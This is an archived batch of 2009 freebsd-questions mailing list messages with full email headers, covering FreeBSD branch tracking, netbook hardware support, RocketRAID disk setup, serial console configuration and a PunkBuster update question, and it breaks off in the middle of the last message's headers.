User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 15:37:38 -0000 freebsd@edvax.de wrote: > If you are interested in the "bleeding edge" of FreeBSD's development, > you follow RELENG_7. This will then deliver the -CURRENT branch to you > with all modifications. It may happen that a -CURRENT of today doesn't > compile, but tomorrow, it will do. It's considered to be the experimental > branch where changes can appear and disappear. Hello, I think you are confusing RELENG_7 with "." (as the CVS tag says) or HEAD. RELENG_7 will "deliver" 7-STABLE, not CURRENT. CURRENT is the "bleeding edge." Also: > You follow the -STABLE branch of FreeBSD 7.2 and will always get > the latest *stable* 7.2 sources, but won't reach 7.3 with this setting. That's not quite right. 7.3 is just a point along the 7-STABLE path. For example, if you tracked STABLE via RELENG_7 starting with, say, FreeBSD 7.1, your system would have run 7.2 at some point, and then beyond it. Tracking STABLE isn't like using CVSup or Csup to reach RELENG_7_2_0 or RELENG_7_2, but you eventually get the 7.2 functionality by tracking RELENG_7. For example, start with 7.1 from CD: fbsd71toS# uname -a FreeBSD fbsd71toS.taosecurity.com 7.1-RELEASE FreeBSD 7.1-RELEASE #0: Thu Jan 1 14:37:25 UTC 2009 root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 After Csup to RELENG_7, you get fbsd71toS# uname -a FreeBSD fbsd71toS.taosecurity.com 7.2-STABLE FreeBSD 7.2-STABLE #0: Sat Aug 22 23:02:30 EDT 2009 root@fbsd71toS.taosecurity.com:/usr/obj/usr/src/sys/FREEBSD7 i386 As you can see, it's not theoretical -- I ran this test this weekend. :) Thank you, Richard From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 16:04:21 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 34F4D106568D for ; Sun, 23 Aug 2009 16:04:21 +0000 (UTC) (envelope-from peter.piggybox@virgin.net) Received: from queueout04-winn.ispmail.ntl.com (queueout04-winn.ispmail.ntl.com [81.103.221.58]) by mx1.freebsd.org (Postfix) with ESMTP id 8D1A78FC12 for ; Sun, 23 Aug 2009 16:04:19 +0000 (UTC) Received: from know-smtpout-4.server.virginmedia.net ([62.254.123.4]) by mtaout02-winn.ispmail.ntl.com (InterMail vM.7.08.04.00 201-2186-134-20080326) with ESMTP id <20090823153303.HPXN6611.mtaout02-winn.ispmail.ntl.com@know-smtpout-4.server.virginmedia.net>; Sun, 23 Aug 2009 16:33:03 +0100 Received: from [81.105.210.39] (helo=ideapad.piggybox) by know-smtpout-4.server.virginmedia.net with esmtp (Exim 4.63) (envelope-from ) id 1MfF43-00038y-Na; Sun, 23 Aug 2009 16:33:03 +0100 Received: from ideapad.piggybox (localhost [127.0.0.1]) by ideapad.piggybox (8.14.3/8.14.3) with ESMTP id n7NEW9Ln001139; Sun, 23 Aug 2009 15:32:10 +0100 (BST) (envelope-from peter@ideapad.piggybox) Received: (from peter@localhost) by ideapad.piggybox (8.14.3/8.14.3/Submit) id n7NEW9aK001138; Sun, 23 Aug 2009 15:32:09 +0100 (BST) (envelope-from peter) Date: Sun, 23 Aug 2009 15:32:09 +0100 From: Peter Harrison To: Steve Franks Message-ID: <20090823143209.GA1124@ideapad.piggybox> Mail-Followup-To: Steve Franks , Randall Wood , freebsd-questions@freebsd.org References: <4A8C41B8.8080306@hdk5.net> <4A8C4E58.7030103@otenet.gr> <20090819210126.GA7938@koala> <539c60b90908191600q6a9cc65dm532490a2a3946faf@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <539c60b90908191600q6a9cc65dm532490a2a3946faf@mail.gmail.com> User-Agent: Mutt/1.4.2.3i X-Cloudmark-Analysis: v=1.0 c=1 a=6I5d2MoRAAAA:8 a=sq0BKvcKkRmLkiRm4wcA:9 a=daxlBtK3mWPEqqyqJoUA:7 a=F4pW4IBKMSsvL7B6hty-s7w5Zl8A:4 a=0yjZ7Z9cm14A:10 a=SV7veod9ZcQA:10 Cc: Randall Wood , freebsd-questions@freebsd.org Subject: Re: netbooks for freebsd? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 16:04:21 -0000 Wednesday, 19 August 2009 at 16:00:25 -0700, Steve Franks said: > >> Al Plant wrote: > >> > Jeff Hamann wrote: > >> >> I would like to try some experimental software on a netbook. Can > >> >> somebody recommend a netbook that can do FreeBSD. > > I'm displeased with my Lenovo S10. On the upside, all the hardware > worked on 7.2 out of the box, after I swapped the internal broadcom > wifi for a highpower atheros. The ACPI is a real nightmare on it, > however. dmesg is constantly full of acpi barfs, and it hangs on > shutdown, and won't suspend, which is pretty much a requirement for a > notebook at my house. Tried all the standard lenovo acpi hacks, but > no luck. I'm running 7.2 release on an s10e. The acpi is a problem - but David Naylor on the acpi@ list gave me a patch which eliminated most of the errors. Let me know if you're interested and I'll ping it over (or try the acpi list to see if there's an update). Haven't tried suspend-resume, but I am running the broadcom wireless successfully with ndis. Peter Harrison. > > Steve > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 18:08:31 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7452A106568C for ; Sun, 23 Aug 2009 18:08:31 +0000 (UTC) (envelope-from daniel@toomuchdata.se) Received: from pne-smtpout1-sn1.fre.skanova.net (pne-smtpout1-sn1.fre.skanova.net [81.228.11.98]) by mx1.freebsd.org (Postfix) with ESMTP id 338378FC17 for ; Sun, 23 Aug 2009 18:08:31 +0000 (UTC) Received: from royal64.emp.zapto.org (195.198.193.168) by pne-smtpout1-sn1.fre.skanova.net (7.3.140.3) (authenticated as u35605266) id 4A683C78002C5AAD; Sun, 23 Aug 2009 18:58:40 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Content-class: urn:content-classes:message Date: Sun, 23 Aug 2009 18:58:38 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.5.7235.2 Message-ID: <4F9C9299A10AE74E89EA580D14AA10A635E97A@royal64.emp.zapto.org> In-Reply-To: <4F9C9299A10AE74E89EA580D14AA10A635E977@royal64.emp.zapto.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: No Device Node assigned for HD? Thread-Index: AcohwaGo2pj0NWf/S063/vQ+Ufi0jwBzj8YgACCkBOA= References: <4A8D9124.6020405@midsummerdream.org> <4F9C9299A10AE74E89EA580D14AA10A635E977@royal64.emp.zapto.org> From: "Daniel Eriksson" To: Cc: lists@midsummerdream.org Subject: RE: No Device Node assigned for HD? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 18:08:31 -0000 > You have two options: > 1. Use the RR2310 BIOS screen (or hptraidconf from inside FreeBSD) to > initialize the drive and create a single drive JBOD array with it. > 2. Connect the drive to a header on your motherboard and create a > partition table on it, then reconnect it to your RR2310 card. I would suggest doing #2 above if you don't plan on using the drive as part of a RR2310-controlled array. If you add a partition table and let your RR2310 card treat it as "Legacy" then the drive can be moved around freely between motherboard connectors and RR2310 connectors. If you do #1 then you need a RocketRAID card to access the data on the drive. /Daniel Eriksson From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 18:25:58 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 21A30106568D for ; Sun, 23 Aug 2009 18:25:58 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from mail-yw0-f202.google.com (mail-yw0-f202.google.com [209.85.211.202]) by mx1.freebsd.org (Postfix) with ESMTP id CF7588FC1F for ; Sun, 23 Aug 2009 18:25:57 +0000 (UTC) Received: by ywh40 with SMTP id 40so2651188ywh.14 for ; Sun, 23 Aug 2009 11:25:57 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=i8zphjT1FY73ZPK+j0f/7AXnJbGh2uc4aLk69vn9R9Q=; b=a/4eOkSGwrRdBdjAfEg0hwlrTpTPqT02nX5ZxHx5ngufk/kLJaSRAggYUtHvpnlHtJ vOzvY5HsMLV7KehqeCksxfmLQwJiyicT17VpP2DmwRt6TJb2MO84M9L4ZDahE5KU8KlQ mpIkjlxwejkli1ZbXWp5A3PJSPzWtepLPdHpU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=KORIYIgCY05XPix7yhDd7+7ao+jLkQjDdkFoalIp2RvBq/o6IQICbsTDMr8QGmWpDJ s4FY/OWJtb5aAaPSegEolRmp3pzHk5qAfB7bZZ14eToH5ejEIR1ah/DecCwq1urQzJqt FKECpfnxpDnnrOo1ovvG5gs1gr9r48+5NZg5M= MIME-Version: 1.0 Received: by 10.101.88.18 with SMTP id q18mr3716537anl.64.1251051957215; Sun, 23 Aug 2009 11:25:57 -0700 (PDT) In-Reply-To: <2E76B1A5-C7B3-4845-9919-1C9FFC7EDA63@exscape.org> References: <2E76B1A5-C7B3-4845-9919-1C9FFC7EDA63@exscape.org> Date: Sun, 23 Aug 2009 12:25:57 -0600 Message-ID: From: Tim Judd To: Thomas Backman Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Serial console trouble: loader and login works, but no kernel messages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 18:25:58 -0000 On 8/23/09, Thomas Backman wrote: > First off: Not subscribed to this list, please make sure to Cc me if > you don't reply directly. :) > > Anyway, I finally got my null modem cable, and plugged in in between a > machine running 8.0-BETA2 and one running WinXP using Hyperterminal. > > My settings: > > /boot/loader.conf: > boot_multicons="YES" > boot_serial="YES" > comconsole_speed="115200" > console="comconsole,vidconsole" > > /etc/ttys: > # Serial terminals > # The 'dialup' keyword identifies dialin lines to login, fingerd etc. > ttyu0 "/usr/libexec/getty std.115200" vt100 on secure > > /boot.config (which is read properly): > -Dh -S115200 > > Anything wrong in the above? > Hyperterminal is set to 115200 bps, 8 bits, no parity, 1 stop bit, and > no flow control (if that's the correct translation to English). > > On the serial console, I go from the screen with the FreeBSD logo, > with single-user options etc. (which works fine), and then nothing, > until a login tty pops up (which also works fine). The main, if not > only, reason I want a serial console is to be able to use it for > single user mode, DDB, and so on. > All kernel messages, and all rc messages are seen only on the graphics > card; the serial console receives nothing but the "/boot.config: - > Dh ...", the logo screen, and then the login screen, during startup > and *nothing* at all during shutdown. Also, I'm able to login and use > the system both via the serial console and via the graphics card/ > keyboard... Is this supposed to be? I'm not complaining, I just got > the impression it was one or the other. > > Any advice on how to get the kernel/rc messages etc. to the serial > console (only or as well)? > > Regards, > Thomas Do you use the VGA/vidconsole at all? A serial-only device (think soekris, ALIX/WRAP boards) that has no VGA will have different requirements than a serial-only device will. Your loader.conf statements are different than mine in the definition that you have more than I do to enable serial. My loader.conf just has one statement: console="comconsole" - to feed ALL bootloaders, kernel probing, rc startup on the serial device. /etc/ttys defines the login lines. Though trial and error, I found when you use a dual-setup: "comconsole,vidconsole", the first one (comconsole) will get rc output, and vidconsole won't. Of course, you're on 8.0 and I don't run BETAs. So the 8.0 BETA might still be having com port oddities, plus I noticed your ttys line is ttyu0, not ttyd0. Did 8.0 change the serial line device? To enable a serial-only device in my setups: /boot/loader.conf: console="comconsole" /boot.config: -D /etc/ttys: # enable serial line, cons25 or vt100, depending if I'm originating from a bsd or windows box. Enabling dual-setups should be just the loader.conf change to dual console. HTH From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 18:39:46 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8296710656A3 for ; Sun, 23 Aug 2009 18:39:46 +0000 (UTC) (envelope-from illoai@gmail.com) Received: from mail-yx0-f181.google.com (mail-yx0-f181.google.com [209.85.210.181]) by mx1.freebsd.org (Postfix) with ESMTP id 3D2528FC14 for ; Sun, 23 Aug 2009 18:39:46 +0000 (UTC) Received: by yxe11 with SMTP id 11so1368739yxe.3 for ; Sun, 23 Aug 2009 11:39:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=tlK/QduL6e4SSasMJ7vdgKH0xXv9YpU55fZCaN9+wKU=; b=N/ZrOR5OvmAbIFJ9smtet2JLMhAPucq3mtPsFjTZMZVYUHC7kBqbzDdsCGToHaRTKw s4pCLzscCh8hx0e5gmsi7GMbv0VIWymm4bXtmT/smlVKfnF+mMKJ4UIPbE2ibBY+w0BD mDV5/s7e0uMBQSjhkULPLvvuE/V925Z4YrY3E= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=tyN1oYXaHU1ReuxFyDOkEmcpRu5GIosy9el9nREmw1zcjLSIKIUR+qVKeAjokfTRl8 fE+FC3D+pf9W4E0U7Apdna/+pVcZeP1c/lriGcYOhhNEGU+VxQbVSUvsCu1h9KRI9h/0 AAre1QmvhihC2bmtylRFqCNQqSxjLEFLZmr8E= MIME-Version: 1.0 Received: by 10.91.28.19 with SMTP id f19mr1001834agj.54.1251052785572; Sun, 23 Aug 2009 11:39:45 -0700 (PDT) In-Reply-To: References: Date: Sun, 23 Aug 2009 14:39:45 -0400 Message-ID: From: "illoai@gmail.com" To: Jeff Hamann Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: netbooks for freebsd? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 18:39:46 -0000 2009/8/19 Jeff Hamann : > I would like to try some experimental software on a netbook. Can somebody > recommend a netbook that can do FreeBSD. > Late to the discussion, sorry I can't give positive advice, but: I can explicity UNADVISE the eeee(ee?)pc 1005ha Networking (atheros 9285, iirc) might work under ndis, wired (I forget which chipset) doesn't work. I put ubuntu on it, and even _that_ took some hacks. -- -- From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 19:14:15 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5E2F7106568B for ; Sun, 23 Aug 2009 19:14:15 +0000 (UTC) (envelope-from serenity@exscape.org) Received: from ch-smtp01.sth.basefarm.net (ch-smtp01.sth.basefarm.net [80.76.149.212]) by mx1.freebsd.org (Postfix) with ESMTP id E05D68FC25 for ; Sun, 23 Aug 2009 19:14:14 +0000 (UTC) Received: from c83-253-252-234.bredband.comhem.se ([83.253.252.234]:49389 helo=mx.exscape.org) by ch-smtp01.sth.basefarm.net with esmtp (Exim 4.68) (envelope-from ) id 1MfIVk-0004RO-3F; Sun, 23 Aug 2009 21:13:54 +0200 Received: from [192.168.1.5] (macbookpro [192.168.1.5]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mx.exscape.org (Postfix) with ESMTPSA id 4BAC316D747; Sun, 23 Aug 2009 21:13:49 +0200 (CEST) Message-Id: <6CB09DDE-ED11-46B7-B1BE-B2DE27C5572C@exscape.org> From: Thomas Backman To: Tim Judd In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Sun, 23 Aug 2009 21:13:48 +0200 References: <2E76B1A5-C7B3-4845-9919-1C9FFC7EDA63@exscape.org> X-Mailer: Apple Mail (2.936) X-Originating-IP: 83.253.252.234 X-Scan-Result: No virus found in message 1MfIVk-0004RO-3F. X-Scan-Signature: ch-smtp01.sth.basefarm.net 1MfIVk-0004RO-3F b6a31a143f9cb2909ec32d66925f53ad Cc: freebsd-questions@freebsd.org Subject: Re: Serial console trouble: loader and login works, but no kernel messages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 19:14:15 -0000 On Aug 23, 2009, at 20:25, Tim Judd wrote: > On 8/23/09, Thomas Backman wrote: >> First off: Not subscribed to this list, please make sure to Cc me if >> you don't reply directly. :) >> >> Anyway, I finally got my null modem cable, and plugged in in >> between a >> machine running 8.0-BETA2 and one running WinXP using Hyperterminal. >> >> My settings: >> >> /boot/loader.conf: >> boot_multicons="YES" >> boot_serial="YES" >> comconsole_speed="115200" >> console="comconsole,vidconsole" >> >> /etc/ttys: >> # Serial terminals >> # The 'dialup' keyword identifies dialin lines to login, fingerd etc. >> ttyu0 "/usr/libexec/getty std.115200" vt100 on secure >> >> /boot.config (which is read properly): >> -Dh -S115200 >> >> Anything wrong in the above? >> Hyperterminal is set to 115200 bps, 8 bits, no parity, 1 stop bit, >> and >> no flow control (if that's the correct translation to English). >> >> On the serial console, I go from the screen with the FreeBSD logo, >> with single-user options etc. (which works fine), and then nothing, >> until a login tty pops up (which also works fine). The main, if not >> only, reason I want a serial console is to be able to use it for >> single user mode, DDB, and so on. >> All kernel messages, and all rc messages are seen only on the >> graphics >> card; the serial console receives nothing but the "/boot.config: - >> Dh ...", the logo screen, and then the login screen, during startup >> and *nothing* at all during shutdown. Also, I'm able to login and use >> the system both via the serial console and via the graphics card/ >> keyboard... Is this supposed to be? I'm not complaining, I just got >> the impression it was one or the other. >> >> Any advice on how to get the kernel/rc messages etc. to the serial >> console (only or as well)? >> >> Regards, >> Thomas > > > Do you use the VGA/vidconsole at all? > > A serial-only device (think soekris, ALIX/WRAP boards) that has no VGA > will have different requirements than a serial-only device will. > > Your loader.conf statements are different than mine in the definition > that you have more than I do to enable serial. > > My loader.conf just has one statement: > console="comconsole" - to feed ALL bootloaders, kernel probing, rc > startup on the serial device. /etc/ttys defines the login lines. > > Though trial and error, I found when you use a dual-setup: > "comconsole,vidconsole", the first one (comconsole) will get rc > output, and vidconsole won't. > > Of course, you're on 8.0 and I don't run BETAs. So the 8.0 BETA might > still be having com port oddities, plus I noticed your ttys line is > ttyu0, not ttyd0. Did 8.0 change the serial line device? > > > > To enable a serial-only device in my setups: > /boot/loader.conf: > console="comconsole" > > /boot.config: > -D > > /etc/ttys: > # enable serial line, cons25 or vt100, depending if I'm originating > from a bsd or windows box. > > > > Enabling dual-setups should be just the loader.conf change to dual > console. > > > HTH (Sorry for the lack of inline replies.) I do have a graphics card, and ideally I'd like to be able to use both, but serial has higher priority (with serial access, I can use minicom on another *nix box and essentially ssh into DDB, and stuff like that - right now I have to borrow a monitor, and write info down manually if needed, turning my head back and forth). I've tried lots of combinations of console=, including simply 'console="comconsole"' and/or combinations of that and -D, -h- -Dh and -P in /boot.config. The extra lines in loader.conf are from the handbook, which says they're needed to use comconsole_speed. It seems they do the same thing as -D and -h, though. Oh, and re: /etc/ttys: Yup, it's ttyuX when using uart(4) which seems to be the default now. Actually, since my last buildworld half an hour ago I'm on 9.0-CURRENT. ;) Also, I made sure to set flags to 0x10 for the serial port as per the handbook (although I did it using loader.conf, not the kernel config); before the change, dmesg didn't mention any flags, but it now does. Didn't help squat, though. "Though trial and error, I found when you use a dual-setup: "comconsole,vidconsole", the first one (comconsole) will get rc output, and vidconsole won't." This doesn't mirror my experience; comconsole and comconsole,vidconsole appears to be just the same for me. I've never gotten anything except the boot loader and a login prompt over to the serial line - at least not at speed/settings that the client is set up to receive. I'm gonna try 9600 bps soon just to be sure it isn't that, but seeing how many others have mentioned using "-S115200" I doubt it'll help. Thanks/regards, Thomas From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 21:11:35 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1A379106568C for ; Sun, 23 Aug 2009 21:11:34 +0000 (UTC) (envelope-from nehe@telus.net) Received: from outbound03.telus.net (outbound03.telus.net [199.185.220.222]) by mx1.freebsd.org (Postfix) with ESMTP id C26858FC08 for ; Sun, 23 Aug 2009 21:11:33 +0000 (UTC) Received: from edtnaa01.telusplanet.net ([75.156.155.39]) by priv-edtnes25.telusplanet.net (InterMail vM.7.08.04.00 201-2186-134-20080326) with ESMTP id <20090823201518.MVWU1361.priv-edtnes25.telusplanet.net@edtnaa01.telusplanet.net> for ; Sun, 23 Aug 2009 14:15:18 -0600 Received: from nehe.gateway.2wire.net (d75-156-155-39.abhsia.telus.net [75.156.155.39]) by edtnaa01.telusplanet.net (BorderWare Security Platform) with ESMTP id F9A5A1F1A388CC5D for ; Sun, 23 Aug 2009 14:15:18 -0600 (MDT) Message-ID: <4A91A354.5030601@telus.net> Date: Sun, 23 Aug 2009 14:15:16 -0600 From: Jeff Molofee User-Agent: Thunderbird 2.0.0.23 (X11/20090822) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <20090823120021.7A6B910656AD@hub.freebsd.org> In-Reply-To: <20090823120021.7A6B910656AD@hub.freebsd.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: Punkbuster X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 21:11:35 -0000 Can anyone tell me how to update punkbuster ... seems pbweb.x86 doesn't work anymore (302 errors) and I'm unable to run pbsetup.run it gives me a float point error, even after unpacking it with upx -d Specifically for enemy territory. From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 21:47:20 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 24FFB1065672 for ; Sun, 23 Aug 2009 21:47:20 +0000 (UTC) (envelope-from carl@chave.us) Received: from mail-yx0-f181.google.com (mail-yx0-f181.google.com [209.85.210.181]) by mx1.freebsd.org (Postfix) with ESMTP id DEB5C8FC0A for ; Sun, 23 Aug 2009 21:47:19 +0000 (UTC) Received: by yxe11 with SMTP id 11so1433974yxe.3 for ; Sun, 23 Aug 2009 14:47:19 -0700 (PDT) MIME-Version: 1.0 Received: by 10.100.82.7 with SMTP id f7mr3835763anb.30.1251062319208; Sun, 23 Aug 2009 14:18:39 -0700 (PDT) In-Reply-To: <6CB09DDE-ED11-46B7-B1BE-B2DE27C5572C@exscape.org> References: <2E76B1A5-C7B3-4845-9919-1C9FFC7EDA63@exscape.org> <6CB09DDE-ED11-46B7-B1BE-B2DE27C5572C@exscape.org> Date: Sun, 23 Aug 2009 17:18:39 -0400 Message-ID: From: Carl Chave To: Thomas Backman Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: Tim Judd , freebsd-questions@freebsd.org Subject: Re: Serial console trouble: loader and login works, but no kernel messages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 21:47:20 -0000 Did you try booting with the keyboard disconnected from the FreeBSD machine? Perhaps the vidconsole is favored when a keyboard is detected? On a linux box I had, I would get serial output from Grub, lose it during kernel load and then get a login once the OS was up, much like what you describe. I had to add a kernel argument to my Grub config so the kernel would output to the serial port. Did you look here: http://www.freebsd.org/doc/en/articles/console-server/freebsd.html I think 7.2 might be what you are missing but I can't check it myself. On Sun, Aug 23, 2009 at 3:13 PM, Thomas Backman wrote= : > > On Aug 23, 2009, at 20:25, Tim Judd wrote: > >> On 8/23/09, Thomas Backman wrote: >>> >>> First off: Not subscribed to this list, please make sure to Cc me if >>> you don't reply directly. :) >>> >>> Anyway, I finally got my null modem cable, and plugged in in between a >>> machine running 8.0-BETA2 and one running WinXP using Hyperterminal. >>> >>> My settings: >>> >>> /boot/loader.conf: >>> boot_multicons=3D"YES" >>> boot_serial=3D"YES" >>> comconsole_speed=3D"115200" >>> console=3D"comconsole,vidconsole" >>> >>> /etc/ttys: >>> # Serial terminals >>> # The 'dialup' keyword identifies dialin lines to login, fingerd etc. >>> ttyu0 =A0 "/usr/libexec/getty std.115200" vt100 =A0 on secure >>> >>> /boot.config (which is read properly): >>> -Dh -S115200 >>> >>> Anything wrong in the above? >>> Hyperterminal is set to 115200 bps, 8 bits, no parity, 1 stop bit, and >>> no flow control (if that's the correct translation to English). >>> >>> On the serial console, I go from the screen with the FreeBSD logo, >>> with single-user options etc. (which works fine), and then nothing, >>> until a login tty pops up (which also works fine). The main, if not >>> only, reason I want a serial console is to be able to use it for >>> single user mode, DDB, and so on. >>> All kernel messages, and all rc messages are seen only on the graphics >>> card; the serial console receives nothing but the "/boot.config: - >>> Dh ...", the logo screen, and then the login screen, during startup >>> and *nothing* at all during shutdown. Also, I'm able to login and use >>> the system both via the serial console and via the graphics card/ >>> keyboard... Is this supposed to be? I'm not complaining, I just got >>> the impression it was one or the other. >>> >>> Any advice on how to get the kernel/rc messages etc. to the serial >>> console (only or as well)? >>> >>> Regards, >>> Thomas >> >> >> Do you use the VGA/vidconsole at all? >> >> A serial-only device (think soekris, ALIX/WRAP boards) that has no VGA >> will have different requirements than a serial-only device will. >> >> Your loader.conf statements are different than mine in the definition >> that you have more than I do to enable serial. >> >> My loader.conf just has one statement: >> =A0console=3D"comconsole" =A0- to feed ALL bootloaders, kernel probing, = rc >> startup on the serial device. =A0/etc/ttys defines the login lines. >> >> Though trial and error, I found when you use a dual-setup: >> "comconsole,vidconsole", the first one (comconsole) will get rc >> output, and vidconsole won't. >> >> Of course, you're on 8.0 and I don't run BETAs. =A0So the 8.0 BETA might >> still be having com port oddities, plus I noticed your ttys line is >> ttyu0, not ttyd0. =A0Did 8.0 change the serial line device? >> >> >> >> To enable a serial-only device in my setups: >> /boot/loader.conf: >> =A0console=3D"comconsole" >> >> /boot.config: >> =A0-D >> >> /etc/ttys: >> # enable serial line, cons25 or vt100, depending if I'm originating >> from a bsd or windows box. >> >> >> >> Enabling dual-setups should be just the loader.conf change to dual >> console. >> >> >> HTH > > > (Sorry for the lack of inline replies.) > > I do have a graphics card, and ideally I'd like to be able to use both, b= ut > serial has higher priority (with serial access, I can use minicom on anot= her > *nix box and essentially ssh into DDB, and stuff like that - right now I > have to borrow a monitor, and write info down manually if needed, turning= my > head back and forth). > > I've tried lots of combinations of console=3D, including simply > 'console=3D"comconsole"' and/or combinations of that and -D, -h- -Dh and = -P in > /boot.config. > The extra lines in loader.conf are from the handbook, which says they're > needed to use comconsole_speed. It seems they do the same thing as -D and > -h, though. > > Oh, and re: /etc/ttys: Yup, it's ttyuX when using uart(4) which seems to = be > the default now. Actually, since my last buildworld half an hour ago I'm = on > 9.0-CURRENT. ;) > Also, I made sure to set flags to 0x10 for the serial port as per the > handbook (although I did it using loader.conf, not the kernel config); > before the change, dmesg didn't mention any flags, but it now does. Didn'= t > help squat, though. > > "Though trial and error, I found when you use a dual-setup: > "comconsole,vidconsole", the first one (comconsole) will get rc > output, and vidconsole won't." > This doesn't mirror my experience; comconsole and comconsole,vidconsole > appears to be just the same for me. I've never gotten anything except the > boot loader and a login prompt over to the serial line - at least not at > speed/settings that the client is set up to receive. > > I'm gonna try 9600 bps soon just to be sure it isn't that, but seeing how > many others have mentioned using "-S115200" I doubt it'll help. > > Thanks/regards, > Thomas > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" > From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 21:14:17 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C4B49106568D for ; Sun, 23 Aug 2009 21:14:17 +0000 (UTC) (envelope-from yavuz.maslak@netiletisim.net) Received: from pop3.ihlas.net.tr (posta.ihlasnet.com.tr [213.238.128.150]) by mx1.freebsd.org (Postfix) with ESMTP id DD8568FC08 for ; Sun, 23 Aug 2009 21:14:16 +0000 (UTC) Received: (qmail 15018 invoked by uid 89); 23 Aug 2009 23:47:33 